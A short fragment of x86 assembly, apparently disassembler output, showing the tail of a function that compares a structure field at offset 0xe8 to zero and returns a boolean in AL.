jbe 0x40f3d2
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret